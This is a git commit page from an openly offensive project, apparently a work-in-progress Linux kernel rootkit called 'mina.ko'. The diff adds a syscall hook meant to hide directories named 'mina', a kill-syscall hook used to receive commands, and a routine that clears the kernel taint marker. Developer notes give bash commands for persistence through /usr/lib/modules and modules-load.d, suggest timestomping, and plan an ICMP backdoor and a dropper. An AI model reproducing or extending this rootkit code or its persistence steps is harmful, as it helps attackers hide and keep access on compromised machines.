mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 90a50f5290a124fcf823680af79840f801dd2888
parent 7fbf559f7b6576308566aff18f5cdb50e277d0b3
Author: djnn <[email protected]>
Date: Mon, 6 Jan 2025 17:13:11 +0900

wip(stealth): hiding files & directories

Diffstat:
Mrootkit/Makefile | 2+-
Mrootkit/includes/mina.h | 3+++
Mrootkit/sources/mina.c | 88+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------

3 files changed, 79 insertions(+), 14 deletions(-)

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -17,7 +17,7 @@ mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
 							sources/persistence.o
 
 
-MY_CFLAGS += -Wno-missing-prototypes -Wno-missing-declarations
+MY_CFLAGS += -Wno-missing-prototypes -Wno-missing-declarations -O2
 ccflags-y += ${MY_CFLAGS}
 CC += ${MY_CFLAGS}
 
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -12,6 +12,9 @@
 
 #define MAGIC_PID (1337)
 
+
+#define HIDE_DIRNAME_STARTSWTIH ("mina")
+
 // stealth.c
 void toggle_hide_module(void);
 
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -10,33 +10,92 @@
 
 #include "../includes/mina.h"
 
-/*
-    TODO(djnn):
+/* NOTE(djnn):
+
+Some notes and features ideas for dev next step:
+
+1. hook getdents_t and getdents64_t in order to hide directories with a particular
+directory name, OR /sys/modules/THIS-MODULE
+    => this means we need to recover the module's name at runtime, eventually
+
+2. LKM can also be found in /proc/kallsyms.....maybe we need to find its offset &
+mangle the bytes?
+
+3. writing the rootkit as a loadable char device would allow it to be registered
+in `/dev` and then use udev rules for persistence by the dropper.
+We could also hook a launch script of another device node to insert
+our LKM into the kernel.....
+
+4.  put your module in `/usr/lib/modules` so that it is loaded like so:
+
+```bash
+cp evil.ko /usr/lib/modules/$(uname -r)/kernel/drivers/block/magicstring-evil.ko
+depmod
+echo magicstring-evil >/usr/lib/modules-load.d/magicstring-evil.conf
+```
+
+>the `mtime` on the `/usr/lib/modules-load.d` directory and the directory where
+you installed the rootkit module will be updated. Aside from putting the name
+of your evil module into the `modules.dep*` files, the `depmod` command updates
+the `mtime` on several other files under `/usr/lib/modules*`
+
+timestomping might be necessary from the dropper
+    => https://righteousit.com/2024/09/04/more-on-ext4-timestamps-and-timestomping
+
+
+    ======================== TODO ==============================
 
-the next step is to increase the stealth of the rootkit, before we want to add
-some features.
 
-features ideas:
-- autoroot
-- hide directories
-- hide tcp-traffic (ICMP with a specific header in datafield)
+- write hook on directory listing to hide any directory i would like
+- write hook on file listing to hide any file i would like (hook filldir)
+- find a way to retrieve the module (if possible from memory, not relative path),
+    & add it to /usr/lib/modules/
+- add /sys/modules/mina** from the listdir syscall
+- timestomping /usr/lib/modules-load.d
+- intercept TCP calls to read ICMP packets. REPL should be inside
 
+- write silly dropper
+- write an ICMP client to interact with the rootkit
 */
 
 MODULE_LICENSE("GPL");
 MODULE_AUTHOR("djnn <[email protected]>");
-MODULE_DESCRIPTION("mina LKM rootkit");
+MODULE_DESCRIPTION("mina ily^-^");
 MODULE_VERSION("0.0.1");
 
 /*
- * mina.ko/rootkit
- * tiny LKM rootkit written by djnn (https://djnn.sh)
+ * mina rootkit
+ * written by djnn (https://djnn.sh) with the help of friendly rootkit researchers:)
+ *
+ * Join here: https://discord.gg/66N5ZQppU7
  */
 
 /* ------============= HOOKS ==============----- */
 
 #include "../includes/ftrace_helper.h"
 
+/*         ------=== DIR  HOOK ===----- */
+
+static asmlinkage long (*original_getdents64)(const struct pt_regs *);
+static asmlinkage long hook_getdents64(const struct pt_regs *regs) {
+
+    /* if pattern-match mina** is respected, do not show the directory */
+
+    struct linux_dirent64 __user *user_dir = (struct linux_dirent64 __user *)regs->si;
+    struct linux_dirent64 *kernel_dir_buffer = NULL;
+    struct linux_dirent64 *current_entry = NULL;
+    struct linux_dirent64 *prev_entry = NULL;
+    long error = 0;
+    unsigned long offset = 0;
+    long result = 0;
+
+
+
+normalgetdents64:
+    return original_getdents64(regs);
+}
+
+
 /*         ------=== KILL HOOK ===----- */
 
 static asmlinkage long (*original_kill)(const struct pt_regs *);
@@ -60,15 +119,18 @@ normalkill:
     return original_kill(regs);
 }
 
-/*     ------=== HOOKS DEFINITIONS ===----- */
+/*     ------=== HOOKS DEFINITIONS ===-----     */
 
 static struct ftrace_hook hooks[] = {
-    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
+    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),        // receive commands from machine
+    HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64),    // hide directories
 };
 
 /* --------------------------------------------- */
 /* ------======= Reset taint marker =======----- */
 
+/* FIXME(djnn): this trick does not prevent the message from appearing in "journalctl -k". */
+
 static struct task_struct *cleaner_thread = NULL;
 static unsigned long *taint_mask_ptr = NULL;